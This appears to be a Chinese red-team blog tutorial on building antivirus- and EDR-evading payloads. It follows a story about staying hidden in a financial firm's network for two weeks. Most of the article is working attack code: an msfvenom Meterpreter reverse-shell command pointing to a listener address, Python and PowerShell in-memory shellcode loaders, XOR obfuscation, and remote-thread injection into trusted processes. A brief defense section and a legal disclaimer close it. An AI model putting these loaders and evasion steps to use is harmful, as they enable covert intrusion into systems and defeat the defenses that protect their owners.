一、真实案例:蓝队眼皮底下的“幽灵”渗透
几个月前,我们接受了某金融企业的安全评估任务。客户反馈他们怀疑内网已经被攻击,但常规杀毒软件和EDR(终端检测与响应)一无所获。攻防模拟开始后,我们发现防御系统非常完善,大多数公开工具和常见Payload都被立即拦截。但凭借精心构造的免杀载荷,我们成功建立了一个C2(命令与控制)通道,在蓝队的“眼皮底下”横行了整整两周。
这次任务让我意识到,红队攻击的关键不在于工具多强,而在于Payload能否绕过检测。今天,我将分享如何从零开始制作一个逃避AV/EDR检测的免杀Payload,帮助你成为一名“隐形攻击者”。
---
二、免杀基础:AV和EDR究竟在检测什么?
在深入技术细节之前,我们需要了解防御系统的工作方式。杀毒软件和EDR通过以下几种机制检测可疑程序:
1. 特征码检测
这是最古老的检测方式,基于特定的字节签名库。如果你的Payload包含已知的恶意代码片段,就会被直接拦截。
2. 行为分析
现代EDR能够监控进程行为,比如是否调用了敏感API(如OpenProcess、VirtualAlloc、WriteProcessMemory等),或者是否试图连接外部C2服务器。
3. 内存扫描
许多防御工具会随机扫描内存中的可疑代码片段,即使文件本身是无害的,恶意代码加载到内存后仍可能暴露。
4. 沙箱检测
部分杀软会在隔离环境中运行可疑程序,观察其行为是否有恶意特征。
理解对抗点
要绕过这些机制,我们可以从几个角度入手:
- 避开特征码:通过混淆或动态生成代码,打破已知签名。
- 伪装行为:改变Payload行为,使其看起来像普通程序。
- 内存免杀:避免在内存中暴露恶意代码。
- 沙箱逃逸:检测沙箱环境并自我终止。
---
三、实战构建:打造一个免杀Payload
接下来,我将带你从零开始构造一个基础Payload,并逐步优化它的免杀能力。这里我们基于Python和PowerShell来实现。
1. 生成基础Payload
我们先用msfvenom生成一个简单的Shellcode。这是传统的Metasploit载荷生成方式:
<pre><code class="language-bash">msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw > shellcode.bin</code></pre>
这段Shellcode是一个反向TCP载荷,用于连接我们的C2服务器。虽然简单,但直接使用这种载荷会被大多数AV拦截,所以我们需要对它进行进一步处理。
---
2. 内存加载与执行
直接运行Shellcode文件是行不通的,我们需要将其载入内存并动态执行。以下是一个用Python实现的内存加载代码:
<pre><code class="language-python">import ctypes
读取二进制Shellcode
with open("shellcode.bin", "rb") as f: shellcode = f.read()
分配内存
ptr = ctypes.windll.kernel32.VirtualAlloc( None, len(shellcode), 0x1000, 0x40 ) ctypes.windll.kernel32.RtlMoveMemory( ptr, shellcode, len(shellcode) )
创建线程执行Shellcode
ht = ctypes.windll.kernel32.CreateThread( None, 0, ptr, None, 0, None ) ctypes.windll.kernel32.WaitForSingleObject(ht, -1)</code></pre>
运行这段代码,你会发现它能在测试环境中正常执行Shellcode,但仍然会触发AV报警。接下来,我们开始优化免杀能力。
---
四、混淆与加密:绕过静态特征检测
Shellcode的特征码是检测的核心,所以我们必须对它进行混淆或加密处理。
1. 简单异或加密
一种常见的方法是对Shellcode进行异或加密,解密时在内存中还原:
<pre><code class="language-python">key = 0x55 # 加密密钥
加密Shellcode
encrypted_shellcode = bytearray([b ^ key for b in shellcode])
在运行时解密
decoded_shellcode = bytearray([b ^ key for b in encrypted_shellcode])
后续内存加载与执行
ptr = ctypes.windll.kernel32.VirtualAlloc( None, len(decoded_shellcode), 0x1000, 0x40 ) ctypes.windll.kernel32.RtlMoveMemory( ptr, decoded_shellcode, len(decoded_shellcode) ) ht = ctypes.windll.kernel32.CreateThread( None, 0, ptr, None, 0, None ) ctypes.windll.kernel32.WaitForSingleObject(ht, -1)</code></pre>
这种方法可以有效绕过大部分基于静态特征码的检测,但行为分析和内存扫描仍可能发现异常。
---

2. 动态生成Shellcode
另一个高级技巧是动态生成Shellcode。比如,我们可以用PowerShell脚本在内存中生成并执行:
<pre><code class="language-powershell">$Shellcode = [System.Convert]::FromBase64String("<你的Base64 Shellcode>") $Memory = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($Shellcode.Length) [System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Memory, $Shellcode.Length) $Thread = [System.Threading.Thread]::New({[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($Memory, [Action])().Invoke()}) $Thread.Start()</code></pre>
将Shellcode用Base64编码后嵌入PowerShell脚本,可以进一步提高隐蔽性。

---
五、绕过行为检测:伪装成无害程序
行为检测的目标是发现Payload的恶意意图。要绕过这一点,我们可以让Payload看起来像是一个常规程序的正常操作。
1. 使用合法API
将敏感操作隐藏在合法API调用中,比如通过CreateRemoteThread注入到系统进程中,而非直接执行。
<pre><code class="language-python">import ctypes
获取目标进程句柄(伪装成合法注入)
PROCESS_ALL_ACCESS = 0x1F0FFF pid = 1234 # 替换为目标进程ID handle = ctypes.windll.kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, pid)

分配内存并写入Shellcode
ptr = ctypes.windll.kernel32.VirtualAllocEx( handle, None, len(shellcode), 0x1000, 0x40 ) ctypes.windll.kernel32.WriteProcessMemory( handle, ptr, shellcode, len(shellcode), None )
创建远程线程执行Shellcode
ctypes.windll.kernel32.CreateRemoteThread( handle, None, 0, ptr, None, 0, None )</code></pre>
此方法将Shellcode注入到受信任的系统进程(如explorer.exe)中,以便绕过行为分析。
---
六、防范与检测:蓝队该如何应对?
虽然免杀技术是红队的重要技能,但蓝队同样需要掌握对抗方法。以下是一些建议:
1. 启用内存保护
通过EDR的内存扫描功能,定期检查运行过程中的可疑代码。
2. 行为基线分析
监控关键进程的行为,发现异常模式,比如突然的线程创建或内存分配。
3. 加强威胁情报
及时更新威胁数据库,捕获新的混淆技术。
---
七、个人经验与总结
免杀技术没有万能方法,攻击者和防御者一直在博弈。作为红队成员,关键在于不断学习最新的绕过技术;而作为蓝队成员,必须保持对攻击链的敏感性。希望这篇文章能为你提供一些实战技巧,也提醒大家,在授权范围内研究技术,切勿用于非法用途!